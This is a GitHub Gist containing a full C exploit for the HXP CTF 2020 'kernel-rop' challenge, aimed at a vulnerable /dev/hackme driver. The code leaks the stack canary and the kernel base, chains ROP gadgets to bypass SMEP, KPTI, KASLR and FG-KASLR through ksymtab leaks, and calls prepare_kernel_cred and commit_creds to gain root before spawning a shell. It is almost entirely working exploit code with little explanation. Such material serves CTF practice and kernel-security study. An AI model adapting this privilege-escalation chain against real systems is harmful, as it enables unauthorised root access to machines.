Last active
September 5, 2022 04:51
-
-
Save brant-ruan/eb07b3e64f1c70e4fa436dcbb570845a to your computer and use it in GitHub Desktop.
[exploit_bypass_fgkaslr_with_ksymtab_leak] HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with trampoline; bypass KASLR with kernel offset leak; bypass FG-KASLR with ksymtab leak
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <signal.h> | |
void spawn_shell(); | |
void leak_commit_creds_from_ksymtab(); | |
void leak_prepare_kernel_cred_from_ksymtab(); | |
void fetch_prepare_kernel_cred(); | |
void fetch_commit_creds(); | |
void make_cred(); | |
void fetch_cred(); | |
void overwrite_ret(); | |
char *VULN_DRV = "/dev/hackme"; | |
int64_t global_fd = 0; | |
int fetch = 0; | |
uint64_t cookie = 0; | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t prepare_kernel_cred = 0; | |
uint64_t commit_creds = 0; | |
uint64_t pop_rax_ret = 0xffffffff81004d11; | |
uint64_t pop_rdi_pop1_ret = 0xffffffff810038a0; | |
uint64_t pop_rdi_ret = 0xffffffff81006370; | |
uint64_t mov_eax_rax_pop1_ret = 0xffffffff81015a80; | |
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203; | |
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10; | |
uint64_t ksymtab_commit_creds = 0xffffffff81f87d90; | |
uint64_t ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc; | |
uint64_t kernel_base = 0xffffffff81000000; | |
int64_t kernel_base_offset = 0; | |
uint64_t cred_struct_ptr = 0; | |
void open_dev() { | |
global_fd = open(VULN_DRV, O_RDWR); | |
if (global_fd < 0) { | |
printf("[!] failed to open %s\n", VULN_DRV); | |
exit(-1); | |
} else { | |
printf("[+] successfully opened %s\n", VULN_DRV); | |
} | |
} | |
void leak_cookie_and_kernel_offset() { | |
uint8_t sz = 40; | |
uint64_t leak[sz]; | |
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak)); | |
uint64_t data = read(global_fd, leak, sizeof(leak)); | |
uint8_t cookie_off = 16; | |
cookie = leak[cookie_off]; | |
kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base; | |
printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset); | |
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off); | |
if(!cookie) { | |
puts("[-] failed to leak stack canary!"); | |
exit(-1); | |
} | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
void leak_prepare_kernel_cred_from_ksymtab() { | |
puts("[*] leaking prepare_kernel_cred address from ksymtab"); | |
unsigned long payload[50]; | |
int offset = 16; | |
payload[offset++] = cookie; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = pop_rax_ret + kernel_base_offset; | |
payload[offset++] = ksymtab_prepare_kernel_cred + kernel_base_offset; | |
payload[offset++] = mov_eax_rax_pop1_ret + kernel_base_offset; | |
payload[offset++] = 0; | |
payload[offset++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = (unsigned long)fetch_prepare_kernel_cred; | |
payload[offset++] = user_cs; | |
payload[offset++] = user_rflags; | |
payload[offset++] = user_sp; | |
payload[offset++] = user_ss; | |
write(global_fd, payload, sizeof(payload)); | |
} | |
void fetch_prepare_kernel_cred() { | |
__asm__( | |
".intel_syntax noprefix;" | |
"mov fetch, eax;" | |
".att_syntax;"); | |
prepare_kernel_cred = ksymtab_prepare_kernel_cred + kernel_base_offset + fetch; | |
printf("[+] got prepare_kernel_cred address: 0x%lx\n", prepare_kernel_cred); | |
leak_commit_creds_from_ksymtab(); | |
} | |
void leak_commit_creds_from_ksymtab() { | |
puts("[*] leaking commit_creds address from ksymtab"); | |
unsigned long payload[50]; | |
int offset = 16; | |
payload[offset++] = cookie; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = pop_rax_ret + kernel_base_offset; | |
payload[offset++] = ksymtab_commit_creds + kernel_base_offset; | |
payload[offset++] = mov_eax_rax_pop1_ret + kernel_base_offset; | |
payload[offset++] = 0; | |
payload[offset++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22; | |
payload[offset++] = 0; | |
payload[offset++] = 0; | |
payload[offset++] = (unsigned long)fetch_commit_creds; | |
payload[offset++] = user_cs; | |
payload[offset++] = user_rflags; | |
payload[offset++] = user_sp; | |
payload[offset++] = user_ss; | |
write(global_fd, payload, sizeof(payload)); | |
} | |
void fetch_commit_creds() { | |
__asm__( | |
".intel_syntax noprefix;" | |
"mov fetch, eax;" | |
".att_syntax;"); | |
commit_creds = ksymtab_commit_creds + kernel_base_offset + fetch; | |
printf("[+] got commit_creds address: 0x%lx\n", commit_creds); | |
make_cred(); | |
} | |
void make_cred() { | |
puts("[*] invoking prepare_kernel_cred(0)"); | |
uint8_t sz = 35; | |
uint64_t payload[sz]; | |
uint8_t cookie_off = 16; | |
payload[cookie_off++] = cookie; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = prepare_kernel_cred; | |
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = (unsigned long)fetch_cred; | |
payload[cookie_off++] = user_cs; | |
payload[cookie_off++] = user_rflags; | |
payload[cookie_off++] = user_sp; | |
payload[cookie_off++] = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
void fetch_cred(void) { | |
__asm__( | |
".intel_syntax noprefix;" | |
"mov cred_struct_ptr, rax;" | |
".att_syntax;"); | |
printf("[+] got cred struct pointer: 0x%lx\n", cred_struct_ptr); | |
overwrite_ret(); | |
} | |
void overwrite_ret() { | |
puts("[*] invoking commit_creds(cred_struct_ptr)"); | |
uint8_t sz = 35; | |
uint64_t payload[sz]; | |
uint8_t cookie_off = 16; | |
payload[cookie_off++] = cookie; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address | |
payload[cookie_off++] = cred_struct_ptr; | |
payload[cookie_off++] = commit_creds; | |
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = (unsigned long)spawn_shell; | |
payload[cookie_off++] = user_cs; | |
payload[cookie_off++] = user_rflags; | |
payload[cookie_off++] = user_sp; | |
payload[cookie_off++] = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
int main(int argc, char **argv) { | |
puts("[*] trying to run ROP chain and bypass FG-KASLR with ksymtab leak"); | |
save_userland_state(); | |
open_dev(); | |
leak_cookie_and_kernel_offset(); | |
leak_prepare_kernel_cred_from_ksymtab(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment